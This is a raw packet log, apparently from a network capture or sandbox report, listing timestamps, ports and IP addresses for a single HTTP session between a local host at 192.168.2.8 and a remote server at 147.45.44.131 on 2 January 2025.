Jan 2, 2025 19:14:18.855268002 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:18.855273008 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:18.855278015 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:18.855283022 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:18.855285883 CET	49704	80	192.168.2.8	147.45.44.131
Jan 2, 2025 19:14:18.855288982 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:18.855294943 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:18.855299950 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:18.855304956 CET	49704	80	192.168.2.8	147.45.44.131
Jan 2, 2025 19:14:18.855304956 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:18.855318069 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:18.855333090 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:18.855343103 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:18.855343103 CET	49704	80	192.168.2.8	147.45.44.131
Jan 2, 2025 19:14:18.855372906 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:18.855375051 CET	49704	80	192.168.2.8	147.45.44.131
Jan 2, 2025 19:14:18.855380058 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:18.855386019 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:18.855391026 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:18.855396032 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:18.855401039 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:18.855412006 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:18.855417967 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:18.855418921 CET	49704	80	192.168.2.8	147.45.44.131
Jan 2, 2025 19:14:18.855423927 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:18.855441093 CET	49704	80	192.168.2.8	147.45.44.131
Jan 2, 2025 19:14:18.855462074 CET	49704	80	192.168.2.8	147.45.44.131
Jan 2, 2025 19:14:18.901243925 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:18.901251078 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:18.901307106 CET	49704	80	192.168.2.8	147.45.44.131
Jan 2, 2025 19:14:18.901323080 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:18.901329041 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:18.901335001 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:18.901340008 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:18.901345968 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:18.901350975 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:18.901362896 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:18.901374102 CET	49704	80	192.168.2.8	147.45.44.131
Jan 2, 2025 19:14:18.901422977 CET	49704	80	192.168.2.8	147.45.44.131
Jan 2, 2025 19:14:18.939366102 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:18.939382076 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:18.939387083 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:18.939435005 CET	49704	80	192.168.2.8	147.45.44.131
Jan 2, 2025 19:14:18.939451933 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:18.939455986 CET	49704	80	192.168.2.8	147.45.44.131
Jan 2, 2025 19:14:18.939459085 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:18.939475060 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:18.939500093 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:18.939505100 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:18.939519882 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:18.939527035 CET	49704	80	192.168.2.8	147.45.44.131
Jan 2, 2025 19:14:18.939543962 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:18.939549923 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:18.939552069 CET	49704	80	192.168.2.8	147.45.44.131
Jan 2, 2025 19:14:18.939555883 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:18.939562082 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:18.939567089 CET	49704	80	192.168.2.8	147.45.44.131
Jan 2, 2025 19:14:18.939572096 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:18.939577103 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:18.939601898 CET	49704	80	192.168.2.8	147.45.44.131
Jan 2, 2025 19:14:18.939631939 CET	49704	80	192.168.2.8	147.45.44.131
Jan 2, 2025 19:14:18.939837933 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:18.939846039 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:18.939867973 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:18.939881086 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:18.939887047 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:18.939888000 CET	49704	80	192.168.2.8	147.45.44.131
Jan 2, 2025 19:14:18.939893007 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:18.939898968 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:18.939904928 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:18.939946890 CET	49704	80	192.168.2.8	147.45.44.131
Jan 2, 2025 19:14:18.940829992 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:18.940838099 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:18.940851927 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:18.940856934 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:18.940876007 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:18.940881968 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:18.940885067 CET	49704	80	192.168.2.8	147.45.44.131
Jan 2, 2025 19:14:18.940893888 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:18.940900087 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:18.940911055 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:18.940917015 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:18.940917969 CET	49704	80	192.168.2.8	147.45.44.131
Jan 2, 2025 19:14:18.940922022 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:18.940933943 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:18.940934896 CET	49704	80	192.168.2.8	147.45.44.131
Jan 2, 2025 19:14:18.940939903 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:18.940944910 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:18.940952063 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:18.940979958 CET	49704	80	192.168.2.8	147.45.44.131
Jan 2, 2025 19:14:18.941911936 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:18.941917896 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:18.941927910 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:18.941932917 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:18.941940069 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:18.941973925 CET	49704	80	192.168.2.8	147.45.44.131
Jan 2, 2025 19:14:18.941991091 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:18.942003012 CET	49704	80	192.168.2.8	147.45.44.131
Jan 2, 2025 19:14:18.942004919 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:18.942011118 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:18.942014933 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:18.942019939 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:18.942025900 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:18.942065954 CET	49704	80	192.168.2.8	147.45.44.131
Jan 2, 2025 19:14:18.942085028 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:18.942097902 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:18.942104101 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:18.942112923 CET	49704	80	192.168.2.8	147.45.44.131
Jan 2, 2025 19:14:18.942116976 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:18.942122936 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:18.942133904 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:18.942150116 CET	49704	80	192.168.2.8	147.45.44.131
Jan 2, 2025 19:14:18.942183018 CET	49704	80	192.168.2.8	147.45.44.131
Jan 2, 2025 19:14:18.944004059 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:18.944060087 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:18.944068909 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:18.944080114 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:18.944087029 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:18.944094896 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:18.944107056 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:18.944122076 CET	49704	80	192.168.2.8	147.45.44.131
Jan 2, 2025 19:14:18.944134951 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:18.944161892 CET	49704	80	192.168.2.8	147.45.44.131
Jan 2, 2025 19:14:18.944175005 CET	49704	80	192.168.2.8	147.45.44.131
Jan 2, 2025 19:14:18.944639921 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:18.944645882 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:18.944699049 CET	49704	80	192.168.2.8	147.45.44.131
Jan 2, 2025 19:14:18.944751024 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:18.944757938 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:18.944767952 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:18.944773912 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:18.944780111 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:18.944792032 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:18.944808006 CET	49704	80	192.168.2.8	147.45.44.131
Jan 2, 2025 19:14:18.944843054 CET	49704	80	192.168.2.8	147.45.44.131
Jan 2, 2025 19:14:18.945358038 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:18.945378065 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:18.945383072 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:18.945388079 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:18.945394039 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:18.945406914 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:18.945414066 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:18.945420027 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:18.945422888 CET	49704	80	192.168.2.8	147.45.44.131
Jan 2, 2025 19:14:18.945430040 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:18.945435047 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:18.945468903 CET	49704	80	192.168.2.8	147.45.44.131
Jan 2, 2025 19:14:18.945488930 CET	49704	80	192.168.2.8	147.45.44.131
Jan 2, 2025 19:14:18.945512056 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:18.945518017 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:18.945523977 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:18.945528984 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:18.945533991 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:18.945539951 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:18.945561886 CET	49704	80	192.168.2.8	147.45.44.131
Jan 2, 2025 19:14:18.945590019 CET	49704	80	192.168.2.8	147.45.44.131
Jan 2, 2025 19:14:18.945647001 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:18.945652962 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:18.945667982 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:18.945689917 CET	49704	80	192.168.2.8	147.45.44.131
Jan 2, 2025 19:14:18.945697069 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:18.945705891 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:18.945719004 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:18.945727110 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:18.945733070 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:18.945756912 CET	49704	80	192.168.2.8	147.45.44.131
Jan 2, 2025 19:14:18.945770025 CET	49704	80	192.168.2.8	147.45.44.131
Jan 2, 2025 19:14:18.945815086 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:18.945878983 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:18.945884943 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:18.945895910 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:18.945902109 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:18.945907116 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:18.945928097 CET	49704	80	192.168.2.8	147.45.44.131
Jan 2, 2025 19:14:18.945961952 CET	49704	80	192.168.2.8	147.45.44.131
Jan 2, 2025 19:14:18.946031094 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:18.946038008 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:18.946055889 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:18.946062088 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:18.946073055 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:18.946079016 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:18.946088076 CET	49704	80	192.168.2.8	147.45.44.131
Jan 2, 2025 19:14:18.946094990 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:18.946110964 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:18.946116924 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:18.946120024 CET	49704	80	192.168.2.8	147.45.44.131
Jan 2, 2025 19:14:18.946129084 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:18.946134090 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:18.946134090 CET	49704	80	192.168.2.8	147.45.44.131
Jan 2, 2025 19:14:18.946141005 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:18.946146011 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:18.946151018 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:18.946162939 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:18.946162939 CET	49704	80	192.168.2.8	147.45.44.131
Jan 2, 2025 19:14:18.946191072 CET	49704	80	192.168.2.8	147.45.44.131
Jan 2, 2025 19:14:18.992142916 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:18.992152929 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:18.992158890 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:18.992170095 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:18.992176056 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:18.992182016 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:18.992187977 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:18.992198944 CET	49704	80	192.168.2.8	147.45.44.131
Jan 2, 2025 19:14:18.992249012 CET	49704	80	192.168.2.8	147.45.44.131
Jan 2, 2025 19:14:19.030267954 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:19.030275106 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:19.030280113 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:19.030286074 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:19.030291080 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:19.030296087 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:19.030303001 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:19.030307055 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:19.030312061 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:19.030318022 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:19.030323029 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:19.030323029 CET	49704	80	192.168.2.8	147.45.44.131
Jan 2, 2025 19:14:19.030328035 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:19.030334949 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:19.030339956 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:19.030345917 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:19.030378103 CET	49704	80	192.168.2.8	147.45.44.131
Jan 2, 2025 19:14:19.030399084 CET	49704	80	192.168.2.8	147.45.44.131
Jan 2, 2025 19:14:19.030677080 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:19.030733109 CET	49704	80	192.168.2.8	147.45.44.131
Jan 2, 2025 19:14:19.030778885 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:19.030785084 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:19.030791044 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:19.030805111 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:19.030812979 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:19.030818939 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:19.030852079 CET	49704	80	192.168.2.8	147.45.44.131
Jan 2, 2025 19:14:19.030895948 CET	49704	80	192.168.2.8	147.45.44.131
Jan 2, 2025 19:14:19.031435013 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:19.031440020 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:19.031445980 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:19.031459093 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:19.031464100 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:19.031470060 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:19.031476021 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:19.031483889 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:19.031506062 CET	49704	80	192.168.2.8	147.45.44.131
Jan 2, 2025 19:14:19.031516075 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:19.031522036 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:19.031547070 CET	49704	80	192.168.2.8	147.45.44.131
Jan 2, 2025 19:14:19.031562090 CET	49704	80	192.168.2.8	147.45.44.131
Jan 2, 2025 19:14:19.031590939 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:19.031595945 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:19.031601906 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:19.031611919 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:19.031618118 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:19.031622887 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:19.031660080 CET	49704	80	192.168.2.8	147.45.44.131
Jan 2, 2025 19:14:19.031693935 CET	49704	80	192.168.2.8	147.45.44.131
Jan 2, 2025 19:14:19.032599926 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:19.032605886 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:19.032612085 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:19.032668114 CET	49704	80	192.168.2.8	147.45.44.131
Jan 2, 2025 19:14:19.032747030 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:19.032759905 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:19.032767057 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:19.032777071 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:19.032783031 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:19.032788038 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:19.032793045 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:19.032798052 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:19.032803059 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:19.032809019 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:19.032826900 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:19.032859087 CET	49704	80	192.168.2.8	147.45.44.131
Jan 2, 2025 19:14:19.032859087 CET	49704	80	192.168.2.8	147.45.44.131
Jan 2, 2025 19:14:19.032893896 CET	49704	80	192.168.2.8	147.45.44.131
Jan 2, 2025 19:14:19.034725904 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:19.034730911 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:19.034776926 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:19.034787893 CET	49704	80	192.168.2.8	147.45.44.131
Jan 2, 2025 19:14:19.034818888 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:19.034827948 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:19.034854889 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:19.034859896 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:19.034866095 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:19.034881115 CET	49704	80	192.168.2.8	147.45.44.131
Jan 2, 2025 19:14:19.034919024 CET	49704	80	192.168.2.8	147.45.44.131
Jan 2, 2025 19:14:19.035378933 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:19.035384893 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:19.035391092 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:19.035396099 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:19.035403967 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:19.035412073 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:19.035418034 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:19.035428047 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:19.035455942 CET	49704	80	192.168.2.8	147.45.44.131
Jan 2, 2025 19:14:19.035481930 CET	49704	80	192.168.2.8	147.45.44.131
Jan 2, 2025 19:14:19.036159992 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:19.036165953 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:19.036171913 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:19.036246061 CET	49704	80	192.168.2.8	147.45.44.131
Jan 2, 2025 19:14:19.036279917 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:19.036287069 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:19.036300898 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:19.036307096 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:19.036312103 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:19.036317110 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:19.036323071 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:19.036330938 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:19.036335945 CET	49704	80	192.168.2.8	147.45.44.131
Jan 2, 2025 19:14:19.036339045 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:19.036354065 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:19.036361933 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:19.036369085 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:19.036370039 CET	49704	80	192.168.2.8	147.45.44.131
Jan 2, 2025 19:14:19.036385059 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:19.036392927 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:19.036397934 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:19.036412954 CET	49704	80	192.168.2.8	147.45.44.131
Jan 2, 2025 19:14:19.036412954 CET	49704	80	192.168.2.8	147.45.44.131
Jan 2, 2025 19:14:19.036417007 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:19.036434889 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:19.036443949 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:19.036452055 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:19.036458015 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:19.036484003 CET	49704	80	192.168.2.8	147.45.44.131
Jan 2, 2025 19:14:19.036484003 CET	49704	80	192.168.2.8	147.45.44.131
Jan 2, 2025 19:14:19.036510944 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:19.036515951 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:19.036521912 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:19.036525965 CET	49704	80	192.168.2.8	147.45.44.131
Jan 2, 2025 19:14:19.036534071 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:19.036541939 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:19.036546946 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:19.036577940 CET	49704	80	192.168.2.8	147.45.44.131
Jan 2, 2025 19:14:19.036577940 CET	49704	80	192.168.2.8	147.45.44.131
Jan 2, 2025 19:14:19.036701918 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:19.036714077 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:19.036720037 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:19.036725044 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:19.036730051 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:19.036736012 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:19.036741018 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:19.036746025 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:19.036751032 CET	80	49704	147.45.44.131	192.168.2.8
